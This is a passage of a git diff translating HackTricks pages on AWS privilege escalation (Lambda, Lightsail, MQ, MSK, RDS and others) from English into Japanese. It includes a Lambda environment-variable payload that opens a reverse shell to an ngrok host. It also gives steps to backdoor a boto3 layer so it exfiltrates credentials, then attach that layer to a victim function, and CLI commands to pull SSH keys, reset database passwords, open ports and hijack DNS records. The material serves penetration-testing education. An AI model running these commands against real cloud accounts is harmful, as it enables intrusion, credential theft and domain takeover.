lambda update-function-code --function-name target_function \ - --zip-file fileb:///my/lambda/code/zipped.zip +--zip-file fileb:///my/lambda/code/zipped.zip # If you have invoke permissions: aws lambda invoke --function-name my_function output.txt # If not check if it's exposed in any URL or via an API gateway you could access ``` - -**Potential Impact:** Direct privesc to the lambda service role used. +**潜在的な影響:** 使用されるlambdaサービスロールへの直接的な権限昇格。 ### `lambda:UpdateFunctionConfiguration` -#### RCE via env variables - -With this permissions it's possible to add environment variables that will cause the Lambda to execute arbitrary code. For example in python it's possible to abuse the environment variables `PYTHONWARNING` and `BROWSER` to make a python process execute arbitrary commands: +#### 環境変数を介したRCE +この権限を持つことで、Lambdaが任意のコードを実行する原因となる環境変数を追加することが可能です。例えば、Pythonでは環境変数`PYTHONWARNING`と`BROWSER`を悪用して、Pythonプロセスが任意のコマンドを実行することができます： ```bash aws --profile none-priv lambda update-function-configuration --function-name --environment "Variables={PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=\"/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18755 0>&1' & #%s\"}" ``` - -For other scripting languages there are other env variables you can use. For more info check the subsections of scripting languages in: +他のスクリプト言語には、使用できる他の環境変数があります。詳細については、以下のリンクのスクリプト言語のサブセクションを確認してください。 {{#ref}} https://book.hacktricks.xyz/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse {{#endref}} -#### RCE via Lambda Layers +#### Lambdaレイヤーを介したRCE -[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) allows to include **code** in your lamdba function but **storing it separately**, so the function code can stay small and **several functions can share code**. - -Inside lambda you can check the paths from where python code is loaded with a function like the following: +[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html)は、**コード**をラムダ関数に含めることを可能にしますが、**別々に保存する**ため、関数コードは小さく保たれ、**複数の関数がコードを共有**できます。 +ラムダ内では、次のような関数を使用して、Pythonコードが読み込まれるパスを確認できます。 ```python import json import sys def lambda_handler(event, context): - print(json.dumps(sys.path, indent=2)) +print(json.dumps(sys.path, indent=2)) ``` - -These are the places: +これらは場所です： 1. /var/task 2. /opt/python/lib/python3.7/site-packages @@ -224,73 +198,61 @@ These are the places: 9. /opt/python/lib/python3.7/site-packages 10. /opt/python -For example, the library boto3 is loaded from `/var/runtime/boto3` (4th position). +例えば、ライブラリboto3は`/var/runtime/boto3`（4番目の位置）から読み込まれます。 -#### Exploitation +#### 悪用 -It's possible to abuse the permission `lambda:UpdateFunctionConfiguration` to **add a new layer** to a lambda function. To execute arbitrary code this layer need to contain some **library that the lambda is going to import.** If you can read the code of the lambda, you could find this easily, also note that it might be possible that the lambda is **already using a layer** and you could **download** the layer and **add your code** in there. - -For example, lets suppose that the lambda is using the library boto3, this will create a local layer with the last version of the library: +`lambda:UpdateFunctionConfiguration`の権限を悪用して、**新しいレイヤーを**lambda関数に**追加する**ことが可能です。任意のコードを実行するには、このレイヤーに**lambdaがインポートするライブラリを含める必要があります。lambdaのコードを読むことができれば、これを簡単に見つけることができます。また、lambdaが**すでにレイヤーを使用している**可能性があり、そのレイヤーを**ダウンロード**して**あなたのコードを追加**することができるかもしれません。 +例えば、lambdaがライブラリboto3を使用していると仮定すると、これはライブラリの最新バージョンを持つローカルレイヤーを作成します： ```bash pip3 install -t ./lambda_layer boto3 ``` +`./lambda_layer/boto3/__init__.py` を開き、**グローバルコードにバックドアを追加**します（例えば、資格情報を外部に送信する関数やリバースシェルを取得する関数など）。 -You can open `./lambda_layer/boto3/__init__.py` and **add the backdoor in the global code** (a function to exfiltrate credentials or get a reverse shell for example). - -Then, zip that `./lambda_layer` directory and **upload the new lambda layer** in your own account (or in the victims one, but you might not have permissions for this).\ -Note that you need to create a python folder and put the libraries in there to override /opt/python/boto3. Also, the layer needs to be **compatible with the python version** used by the lambda and if you upload it to your account, it needs to be in the **same region:** - +次に、その `./lambda_layer` ディレクトリを zip し、**新しいラムダレイヤーを**自分のアカウント（または被害者のアカウント）に**アップロード**しますが、これには権限がないかもしれません。\ +また、/opt/python/boto3 を上書きするために、python フォルダを作成し、ライブラリをそこに置く必要があります。また、レイヤーはラムダで使用される**Pythonバージョンと互換性がある必要があります**。アカウントにアップロードする場合は、**同じリージョン**にある必要があります。 ```bash aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6" ``` - -Now, make the uploaded lambda layer **accessible by any account**: - +今、アップロードしたラムダレイヤーを**任意のアカウントからアクセス可能にします**: ```bash aws lambda add-layer-version-permission --layer-name boto3 \ - --version-number 1 --statement-id public \ - --action lambda:GetLayerVersion --principal * +--version-number 1 --statement-id public \ +--action lambda:GetLayerVersion --principal * ``` - -And attach the lambda layer to the victim lambda function: - +そして、被害者のlambda関数にlambdaレイヤーを添付します： ```bash aws lambda update-function-configuration \ - --function-name \ - --layers arn:aws:lambda:::layer:boto3:1 \ - --timeout 300 #5min for rev shells +--function-name \ +--layers arn:aws:lambda:::layer:boto3:1 \ +--timeout 300 #5min for rev shells ``` +次のステップは、**関数を自分で呼び出す**か、通常の手段で**呼び出されるのを待つ**ことです。これはより安全な方法です。 -The next step would be to either **invoke the function** ourselves if we can or to wait until i**t gets invoked** by normal means–which is the safer method. - -A **more stealth way to exploit this vulnerability** can be found in: +**この脆弱性を利用するためのよりステルスな方法**は以下にあります： {{#ref}} ../aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md {{#endref}} -**Potential Impact:** Direct privesc to the lambda service role used. +**潜在的な影響：** 使用されるlambdaサービスロールへの直接的な権限昇格。 ### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateFunctionUrlConfig`, `lambda:InvokeFunctionUrl` -Maybe with those permissions you are able to create a function and execute it calling the URL... but I could find a way to test it, so let me know if you do! +これらの権限があれば、関数を作成し、URLを呼び出して実行できるかもしれません... しかし、テストする方法を見つけられなかったので、もし見つけたら教えてください！ ### Lambda MitM -Some lambdas are going to be **receiving sensitive info from the users in parameters.** If get RCE in one of them, you can exfiltrate the info other users are sending to it, check it in: +いくつかのラムダは、**ユーザーからのパラメータで機密情報を受け取ることになります。** そのうちの1つでRCEを取得できれば、他のユーザーが送信している情報を抽出できます。詳細は以下を確認してください： {{#ref}} ../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md {{#endref}} -## References +## 参考文献 - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/) - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md index 1bf78eb3c..cb796c5f4 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md @@ -4,112 +4,93 @@ ## Lightsail -For more information about Lightsail check: +Lightsailに関する詳細情報は、以下を確認してください： {{#ref}} ../aws-services/aws-lightsail-enum.md {{#endref}} > [!WARNING] -> It’s important to note that Lightsail **doesn’t use IAM roles belonging to the user** but to an AWS managed account, so you can’t abuse this service to privesc. However, **sensitive data** such as code, API keys and database info could be found in this service. +> Lightsailは**ユーザーに属するIAMロールを使用しない**ことに注意することが重要です。代わりにAWS管理アカウントを使用するため、このサービスを利用して権限昇格を行うことはできません。しかし、**機密データ**（コード、APIキー、データベース情報など）がこのサービス内に存在する可能性があります。 ### `lightsail:DownloadDefaultKeyPair` -This permission will allow you to get the SSH keys to access the instances: - +この権限を使用すると、インスタンスにアクセスするためのSSHキーを取得できます： ``` aws lightsail download-default-key-pair ``` - -**Potential Impact:** Find sensitive info inside the instances. +**潜在的な影響:** インスタンス内の機密情報を見つける。 ### `lightsail:GetInstanceAccessDetails` -This permission will allow you to generate SSH keys to access the instances: - +この権限を使用すると、インスタンスにアクセスするためのSSHキーを生成できます： ```bash aws lightsail get-instance-access-details --instance-name ``` - -**Potential Impact:** Find sensitive info inside the instances. +**潜在的な影響:** インスタンス内の機密情報を見つける。 ### `lightsail:CreateBucketAccessKey` -This permission will allow you to get a key to access the bucket: - +この権限を使用すると、バケットにアクセスするためのキーを取得できます: ```bash aws lightsail create-bucket-access-key --bucket-name ``` - -**Potential Impact:** Find sensitive info inside the bucket. +**潜在的な影響:** バケット内の機密情報を見つける。 ### `lightsail:GetRelationalDatabaseMasterUserPassword` -This permission will allow you to get the credentials to access the database: - +この権限を使用すると、データベースにアクセスするための資格情報を取得できます。 ```bash aws lightsail get-relational-database-master-user-password --relational-database-name ``` - -**Potential Impact:** Find sensitive info inside the database. +**潜在的な影響:** データベース内の機密情報を見つける。 ### `lightsail:UpdateRelationalDatabase` -This permission will allow you to change the password to access the database: - +この権限により、データベースにアクセスするためのパスワードを変更できます。 ```bash aws lightsail update-relational-database --relational-database-name --master-user-password ``` - -If the database isn't public, you could also make it public with this permissions with - +もしデータベースが公開されていない場合、次の権限を使用して公開することもできます。 ```bash aws lightsail update-relational-database --relational-database-name --publicly-accessible ``` - -**Potential Impact:** Find sensitive info inside the database. +**潜在的な影響:** データベース内の機密情報を見つける。 ### `lightsail:OpenInstancePublicPorts` -This permission allow to open ports to the Internet - +この権限は、ポートをインターネットに開放することを許可します。 ```bash aws lightsail open-instance-public-ports \ - --instance-name MEAN-2 \ - --port-info fromPort=22,protocol=TCP,toPort=22 +--instance-name MEAN-2 \ +--port-info fromPort=22,protocol=TCP,toPort=22 ``` - -**Potential Impact:** Access sensitive ports. +**潜在的な影響:** 機密ポートへのアクセス。 ### `lightsail:PutInstancePublicPorts` -This permission allow to open ports to the Internet. Note taht the call will close any port opened not specified on it. - +この権限は、ポートをインターネットに開放することを許可します。指定されていないポートは閉じられることに注意してください。 ```bash aws lightsail put-instance-public-ports \ - --instance-name MEAN-2 \ - --port-infos fromPort=22,protocol=TCP,toPort=22 +--instance-name MEAN-2 \ +--port-infos fromPort=22,protocol=TCP,toPort=22 ``` - -**Potential Impact:** Access sensitive ports. +**潜在的な影響:** 機密ポートへのアクセス。 ### `lightsail:SetResourceAccessForBucket` -This permissions allows to give an instances access to a bucket without any extra credentials - +この権限は、追加の資格情報なしでインスタンスにバケットへのアクセスを付与することを可能にします。 ```bash aws set-resource-access-for-bucket \ - --resource-name \ - --bucket-name \ - --access allow +--resource-name \ +--bucket-name \ +--access allow ``` - -**Potential Impact:** Potential new access to buckets with sensitive information. +**潜在的な影響:** 機密情報を含むバケットへの新しいアクセスの可能性。 ### `lightsail:UpdateBucket` -With this permission an attacker could grant his own AWS account read access over buckets or even make the buckets public to everyone: - +この権限を持つ攻撃者は、自分のAWSアカウントにバケットへの読み取りアクセスを付与したり、バケットを誰でも公開にすることができます。 ```bash # Grant read access to exterenal account aws update-bucket --bucket-name --readonly-access-accounts @@ -120,47 +101,36 @@ aws update-bucket --bucket-name --access-rules getObject=public,allowPub # Bucket private but single objects can be public aws update-bucket --bucket-name --access-rules getObject=private,allowPublicOverrides=true ``` - -**Potential Impact:** Potential new access to buckets with sensitive information. +**潜在的な影響:** 機密情報を含むバケットへの新しいアクセスの可能性。 ### `lightsail:UpdateContainerService` -With this permissions an attacker could grant access to private ECRs from the containers service - +この権限を持つ攻撃者は、コンテナサービスからプライベートECRへのアクセスを付与することができます。 ```bash aws update-container-service \ - --service-name \ - --private-registry-access ecrImagePullerRole={isActive=boolean} +--service-name \ +--private-registry-access ecrImagePullerRole={isActive=boolean} ``` - -**Potential Impact:** Get sensitive information from private ECR +**潜在的な影響:** プライベートECRからの機密情報の取得 ### `lightsail:CreateDomainEntry` -An attacker with this permission could create subdomain and point it to his own IP address (subdomain takeover), or craft a SPF record that allows him so spoof emails from the domain, or even set the main domain his own IP address. - +この権限を持つ攻撃者は、サブドメインを作成し、自分のIPアドレスにポイントさせることができる（サブドメインの乗っ取り）、または、ドメインからのメールを偽装することを可能にするSPFレコードを作成することができる、さらにはメインドメインを自分のIPアドレスに設定することもできる。 ```bash aws lightsail create-domain-entry \ - --domain-name example.com \ - --domain-entry name=dev.example.com,type=A,target=192.0.2.0 +--domain-name example.com \ +--domain-entry name=dev.example.com,type=A,target=192.0.2.0 ``` - -**Potential Impact:** Takeover a domain +**潜在的な影響:** ドメインの乗っ取り ### `lightsail:UpdateDomainEntry` -An attacker with this permission could create subdomain and point it to his own IP address (subdomain takeover), or craft a SPF record that allows him so spoof emails from the domain, or even set the main domain his own IP address. - +この権限を持つ攻撃者は、サブドメインを作成し、自分のIPアドレスにポイントさせることができる（サブドメインの乗っ取り）、またはSPFレコードを作成してドメインからのメールを偽装することを許可することができる、さらにはメインドメインを自分のIPアドレスに設定することさえできる。 ```bash aws lightsail update-domain-entry \ - --domain-name example.com \ - --domain-entry name=dev.example.com,type=A,target=192.0.2.0 +--domain-name example.com \ +--domain-entry name=dev.example.com,type=A,target=192.0.2.0 ``` - -**Potential Impact:** Takeover a domain +**潜在的な影響:** ドメインの乗っ取り {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md index a1004bde6..183e6ffef 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md @@ -4,26 +4,18 @@ ### `mediapackage:RotateChannelCredentials` -Changes the Channel's first IngestEndpoint's username and password. (This API is deprecated for RotateIngestEndpointCredentials) - +チャンネルの最初のIngestEndpointのユーザー名とパスワードを変更します。（このAPIはRotateIngestEndpointCredentialsのために非推奨です） ```bash aws mediapackage rotate-channel-credentials --id ``` - ### `mediapackage:RotateIngestEndpointCredentials` -Changes the Channel's first IngestEndpoint's username and password. (This API is deprecated for RotateIngestEndpointCredentials) - +チャンネルの最初のIngestEndpointのユーザー名とパスワードを変更します。（このAPIはRotateIngestEndpointCredentials用に非推奨です） ```bash aws mediapackage rotate-ingest-endpoint-credentials --id test --ingest-endpoint-id 584797f1740548c389a273585dd22a63 ``` - -## References +## 参考文献 - [https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a](https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md index 80890e389..4384544f5 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md @@ -4,7 +4,7 @@ ## MQ -For more information about MQ check: +MQに関する詳細情報は、以下を確認してください： {{#ref}} ../aws-services/aws-mq-enum.md @@ -12,42 +12,32 @@ For more information about MQ check: ### `mq:ListBrokers`, `mq:CreateUser` -With those permissions you can **create a new user in an ActimeMQ broker** (this doesn't work in RabbitMQ): - +これらの権限を持つことで、**ActimeMQブローカーに新しいユーザーを作成できます**（これはRabbitMQでは機能しません）： ```bash aws mq list-brokers aws mq create-user --broker-id --console-access --password --username ``` - -**Potential Impact:** Access sensitive info navigating through ActiveMQ +**潜在的な影響:** ActiveMQを通じて機密情報にアクセスする ### `mq:ListBrokers`, `mq:ListUsers`, `mq:UpdateUser` -With those permissions you can **create a new user in an ActimeMQ broker** (this doesn't work in RabbitMQ): - +これらの権限を持つと、**ActiveMQブローカーに新しいユーザーを作成できます**（これはRabbitMQでは機能しません）： ```bash aws mq list-brokers aws mq list-users --broker-id aws mq update-user --broker-id --console-access --password --username ``` - -**Potential Impact:** Access sensitive info navigating through ActiveMQ +**潜在的な影響:** ActiveMQを通じて機密情報にアクセスする ### `mq:ListBrokers`, `mq:UpdateBroker` -If a broker is using **LDAP** for authorization with **ActiveMQ**. It's possible to **change** the **configuration** of the LDAP server used to **one controlled by the attacker**. This way the attacker will be able to **steal all the credentials being sent through LDAP**. - +ブローカーが**ActiveMQ**で**LDAP**を使用して認証を行っている場合、攻撃者が**制御するもの**に**LDAPサーバーの設定**を**変更**することが可能です。これにより、攻撃者は**LDAPを通じて送信されるすべての資格情報を盗む**ことができます。 ```bash aws mq list-brokers aws mq update-broker --broker-id --ldap-server-metadata=... ``` +もしActiveMQで使用されている元の認証情報を見つけることができれば、MitMを実行し、認証情報を盗み、元のサーバーでそれを使用し、応答を送信することができます（おそらく盗まれた認証情報を再利用するだけでこれを行うことができます）。 -If you could somehow find the original credentials used by ActiveMQ you could perform a MitM, steal the creds, used them in the original server, and send the response (maybe just reusing the crendetials stolen you could do this). - -**Potential Impact:** Steal ActiveMQ credentials +**潜在的な影響:** ActiveMQの認証情報を盗む {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md index f0538785f..685ac06a9 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md @@ -4,7 +4,7 @@ ## MSK -For more information about MSK (Kafka) check: +MSK (Kafka) に関する詳細情報は、以下を参照してください: {{#ref}} ../aws-services/aws-msk-enum.md @@ -12,17 +12,11 @@ For more information about MSK (Kafka) check: ### `msk:ListClusters`, `msk:UpdateSecurity` -With these **privileges** and **access to the VPC where the kafka brokers are**, you could add the **None authentication** to access them. - +これらの **権限** と **kafka ブローカーが存在する VPC へのアクセス** があれば、**None 認証** を追加してアクセスすることができます。 ```bash aws msk --client-authentication --cluster-arn --current-version ``` - -You need access to the VPC because **you cannot enable None authentication with Kafka publicly** exposed. If it's publicly exposed, if **SASL/SCRAM** authentication is used, you could **read the secret** to access (you will need additional privileges to read the secret).\ -If **IAM role-based authentication** is used and **kafka is publicly exposed** you could still abuse these privileges to give you permissions to access it. +VPCへのアクセスが必要です。なぜなら、**Kafkaを公開でNone認証を有効にすることはできないからです**。公開されている場合、**SASL/SCRAM**認証が使用されていると、**秘密を読む**ことができるかもしれません（秘密を読むには追加の権限が必要です）。\ +**IAMロールベースの認証**が使用され、**Kafkaが公開されている**場合でも、これらの権限を悪用してアクセスするための権限を与えることができます。 {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md index 7d43bbd3b..b376e9981 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md @@ -4,19 +4,15 @@ ## Organizations -For more information check: +詳細については、次を確認してください： {{#ref}} ../aws-services/aws-organizations-enum.md {{#endref}} -## From management Account to children accounts +## 管理アカウントから子アカウントへ -If you compromise the root/management account, chances are you can compromise all the children accounts.\ -To [**learn how check this page**](../#compromising-the-organization). +ルート/管理アカウントを侵害した場合、すべての子アカウントを侵害できる可能性があります。\ +[**このページを確認して学ぶ**](../#compromising-the-organization)。 {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md index b4a08093e..3db3ac5b1 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md @@ -2,9 +2,9 @@ {{#include ../../../banners/hacktricks-training.md}} -## RDS - Relational Database Service +## RDS - リレーショナルデータベースサービス -For more information about RDS check: +RDSに関する詳細情報は以下を確認してください： {{#ref}} ../aws-services/aws-relational-database-rds-enum.md @@ -12,59 +12,54 @@ For more information about RDS check: ### `rds:ModifyDBInstance` -With that permission an attacker can **modify the password of the master user**, and the login inside the database: - +その権限を持つ攻撃者は**マスターユーザーのパスワードを変更**し、データベース内のログインを行うことができます： ```bash # Get the DB username, db name and address aws rds describe-db-instances # Modify the password and wait a couple of minutes aws rds modify-db-instance \ - --db-instance-identifier \ - --master-user-password 'Llaody2f6.123' \ - --apply-immediately +--db-instance-identifier \ +--master-user-password 'Llaody2f6.123' \ +--apply-immediately # In case of postgres psql postgresql://:@:5432/ ``` - > [!WARNING] -> You will need to be able to **contact to the database** (they are usually only accessible from inside networks). +> データベースに**接続する**ことができる必要があります（通常、内部ネットワークからのみアクセス可能です）。 -**Potential Impact:** Find sensitive info inside the databases. +**潜在的な影響:** データベース内の機密情報を見つけることができます。 ### rds-db:connect -According to the [**docs**](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/UsingWithRDS.IAMDBAuth.IAMPolicy.html) a user with this permission could connect to the DB instance. +[**ドキュメント**](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/UsingWithRDS.IAMDBAuth.IAMPolicy.html)によると、この権限を持つユーザーはDBインスタンスに接続できます。 -### Abuse RDS Role IAM permissions +### RDSロールIAM権限の悪用 #### Postgresql (Aurora) > [!TIP] -> If running **`SELECT datname FROM pg_database;`** you find a database called **`rdsadmin`** you know you are inside an **AWS postgresql database**. - -First you can check if this database has been used to access any other AWS service. You could check this looking at the installed extensions: +> **`SELECT datname FROM pg_database;`**を実行すると、**`rdsadmin`**というデータベースが見つかる場合、**AWS postgresqlデータベース**内にいることがわかります。 +まず、このデータベースが他のAWSサービスにアクセスするために使用されているかどうかを確認できます。インストールされている拡張機能を見て確認できます: ```sql SELECT * FROM pg_extension; ``` +もし**`aws_s3`**のようなものを見つけたら、このデータベースが**S3に対する何らかのアクセスを持っている**と考えることができます（**`aws_ml`**や**`aws_lambda`**などの他の拡張もあります）。 -If you find something like **`aws_s3`** you can assume this database has **some kind of access over S3** (there are other extensions such as **`aws_ml`** and **`aws_lambda`**). - -Also, if you have permissions to run **`aws rds describe-db-clusters`** you can see there if the **cluster has any IAM Role attached** in the field **`AssociatedRoles`**. If any, you can assume that the database was **prepared to access other AWS services**. Based on the **name of the role** (or if you can get the **permissions** of the role) you could **guess** what extra access the database has. - -Now, to **read a file inside a bucket** you need to know the full path. You can read it with: +また、**`aws rds describe-db-clusters`**を実行する権限がある場合、**`AssociatedRoles`**フィールドで**クラスターに関連付けられたIAMロールがあるかどうか**を確認できます。もしあれば、そのデータベースは**他のAWSサービスにアクセスするために準備されている**と考えることができます。**ロールの名前**（またはロールの**権限**を取得できる場合）に基づいて、データベースがどのような追加アクセスを持っているかを**推測**することができます。 +さて、**バケット内のファイルを読む**には、フルパスを知っている必要があります。次のようにして読むことができます： ```sql // Create table CREATE TABLE ttemp (col TEXT); // Create s3 uri SELECT aws_commons.create_s3_uri( - 'test1234567890678', // Name of the bucket - 'data.csv', // Name of the file - 'eu-west-1' //region of the bucket +'test1234567890678', // Name of the bucket +'data.csv', // Name of the file +'eu-west-1' //region of the bucket ) AS s3_uri \gset // Load file contents in table @@ -76,98 +71,81 @@ SELECT * from ttemp; // Delete table DROP TABLE ttemp; ``` - -If you had **raw AWS credentials** you could also use them to access S3 data with: - +もし**生のAWS認証情報**を持っていれば、次のコマンドを使用してS3データにアクセスすることもできます: ```sql SELECT aws_s3.table_import_from_s3( - 't', '', '(format csv)', - :'s3_uri', - aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '') +'t', '', '(format csv)', +:'s3_uri', +aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '') ); ``` - > [!NOTE] -> Postgresql **doesn't need to change any parameter group variable** to be able to access S3. +> Postgresql **は S3 にアクセスするためにパラメータグループ変数を変更する必要はありません**。 #### Mysql (Aurora) > [!TIP] -> Inside a mysql, if you run the query **`SELECT User, Host FROM mysql.user;`** and there is a user called **`rdsadmin`**, you can assume you are inside an **AWS RDS mysql db**. +> mysql 内で **`SELECT User, Host FROM mysql.user;`** クエリを実行し、**`rdsadmin`** というユーザーがいる場合、あなたは **AWS RDS mysql db** 内にいると考えられます。 -Inside the mysql run **`show variables;`** and if the variables such as **`aws_default_s3_role`**, **`aurora_load_from_s3_role`**, **`aurora_select_into_s3_role`**, have values, you can assume the database is prepared to access S3 data. +mysql 内で **`show variables;`** を実行し、**`aws_default_s3_role`**、**`aurora_load_from_s3_role`**、**`aurora_select_into_s3_role`** などの変数に値がある場合、データベースは S3 データにアクセスする準備ができていると考えられます。 -Also, if you have permissions to run **`aws rds describe-db-clusters`** you can check if the cluster has any **associated role**, which usually means access to AWS services). - -Now, to **read a file inside a bucket** you need to know the full path. You can read it with: +また、**`aws rds describe-db-clusters`** を実行する権限がある場合、クラスターに **関連付けられたロール** があるかどうかを確認できます。これは通常、AWS サービスへのアクセスを意味します。 +さて、**バケット内のファイルを読むためには**、フルパスを知っている必要があります。次のようにして読むことができます： ```sql CREATE TABLE ttemp (col TEXT); LOAD DATA FROM S3 's3://mybucket/data.txt' INTO TABLE ttemp(col); SELECT * FROM ttemp; DROP TABLE ttemp; ``` - ### `rds:AddRoleToDBCluster`, `iam:PassRole` -An attacker with the permissions `rds:AddRoleToDBCluster` and `iam:PassRole` can **add a specified role to an existing RDS instance**. This could allow the attacker to **access sensitive data** or modify the data within the instance. - +`rds:AddRoleToDBCluster` および `iam:PassRole` の権限を持つ攻撃者は、**既存の RDS インスタンスに指定されたロールを追加**することができます。これにより、攻撃者は **機密データにアクセス**したり、インスタンス内のデータを変更したりすることが可能になります。 ```bash aws add-role-to-db-cluster --db-cluster-identifier --role-arn ``` - -**Potential Impact**: Access to sensitive data or unauthorized modifications to the data in the RDS instance.\ -Note that some DBs require additional configs such as Mysql, which needs to specify the role ARN in the aprameter groups also. +**潜在的な影響**: RDSインスタンス内の機密データへのアクセスまたはデータの不正な変更。\ +一部のDBは、Mysqlのように、パラメータグループにロールARNを指定する必要があるなど、追加の設定が必要であることに注意してください。 ### `rds:CreateDBInstance` -Just with this permission an attacker could create a **new instance inside a cluster** that already exists and has an **IAM role** attached. He won't be able to change the master user password, but he might be able to expose the new database instance to the internet: - +この権限だけで、攻撃者は**既存のクラスター内に新しいインスタンス**を作成でき、**IAMロール**が添付されている場合があります。マスターユーザーパスワードを変更することはできませんが、新しいデータベースインスタンスをインターネットに公開できる可能性があります。 ```bash aws --region eu-west-1 --profile none-priv rds create-db-instance \ - --db-instance-identifier mydbinstance2 \ - --db-instance-class db.t3.medium \ - --engine aurora-postgresql \ - --db-cluster-identifier database-1 \ - --db-security-groups "string" \ - --publicly-accessible +--db-instance-identifier mydbinstance2 \ +--db-instance-class db.t3.medium \ +--engine aurora-postgresql \ +--db-cluster-identifier database-1 \ +--db-security-groups "string" \ +--publicly-accessible ``` - ### `rds:CreateDBInstance`, `iam:PassRole` > [!NOTE] -> TODO: Test +> TODO: テスト -An attacker with the permissions `rds:CreateDBInstance` and `iam:PassRole` can **create a new RDS instance with a specified role attached**. The attacker can then potentially **access sensitive data** or modify the data within the instance. +`rds:CreateDBInstance` と `iam:PassRole` の権限を持つ攻撃者は、**指定されたロールを添付した新しい RDS インスタンスを作成することができます**。攻撃者はその後、**機密データにアクセスしたり**、インスタンス内のデータを変更したりする可能性があります。 > [!WARNING] -> Some requirements of the role/instance-profile to attach (from [**here**](https://docs.aws.amazon.com/cli/latest/reference/rds/create-db-instance.html)): - -> - The profile must exist in your account. -> - The profile must have an IAM role that Amazon EC2 has permissions to assume. -> - The instance profile name and the associated IAM role name must start with the prefix `AWSRDSCustom` . +> 添付するロール/インスタンスプロファイルのいくつかの要件 (詳細は [**こちら**](https://docs.aws.amazon.com/cli/latest/reference/rds/create-db-instance.html) を参照)： +> - プロファイルはあなたのアカウントに存在する必要があります。 +> - プロファイルには、Amazon EC2 が引き受ける権限を持つ IAM ロールが必要です。 +> - インスタンスプロファイル名と関連する IAM ロール名は、プレフィックス `AWSRDSCustom` で始まる必要があります。 ```bash aws rds create-db-instance --db-instance-identifier malicious-instance --db-instance-class db.t2.micro --engine mysql --allocated-storage 20 --master-username admin --master-user-password mypassword --db-name mydatabase --vapc-security-group-ids sg-12345678 --db-subnet-group-name mydbsubnetgroup --enable-iam-database-authentication --custom-iam-instance-profile arn:aws:iam::123456789012:role/MyRDSEnabledRole ``` - -**Potential Impact**: Access to sensitive data or unauthorized modifications to the data in the RDS instance. +**潜在的影響**: RDSインスタンス内の機密データへのアクセスまたはデータの不正な変更。 ### `rds:AddRoleToDBInstance`, `iam:PassRole` -An attacker with the permissions `rds:AddRoleToDBInstance` and `iam:PassRole` can **add a specified role to an existing RDS instance**. This could allow the attacker to **access sensitive data** or modify the data within the instance. +`rds:AddRoleToDBInstance`および`iam:PassRole`の権限を持つ攻撃者は、**既存のRDSインスタンスに指定されたロールを追加する**ことができます。これにより、攻撃者は**機密データにアクセス**したり、インスタンス内のデータを変更したりすることが可能になります。 > [!WARNING] -> The DB instance must be outside of a cluster for this - +> このためには、DBインスタンスはクラスターの外にある必要があります。 ```bash aws rds add-role-to-db-instance --db-instance-identifier target-instance --role-arn arn:aws:iam::123456789012:role/MyRDSEnabledRole --feature-name ``` - -**Potential Impact**: Access to sensitive data or unauthorized modifications to the data in the RDS instance. +**潜在的な影響**: 